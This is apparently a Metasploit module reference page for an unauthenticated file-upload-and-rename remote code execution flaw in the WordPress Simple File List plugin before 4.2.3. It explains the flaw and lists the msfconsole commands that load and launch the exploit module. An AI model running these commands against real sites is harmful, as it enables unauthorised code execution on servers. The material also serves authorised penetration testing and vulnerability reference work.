Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers to upload files within a controlled list of extensions. However, the rename function does not conform to the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed to php and executed.
PHP
php
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/wp_simple_file_list_rce
msf exploit(wp_simple_file_list_rce) > show targets
...targets...
msf exploit(wp_simple_file_list_rce) > set TARGET < target-id >
msf exploit(wp_simple_file_list_rce) > show options
...show and set options...
msf exploit(wp_simple_file_list_rce) > exploit
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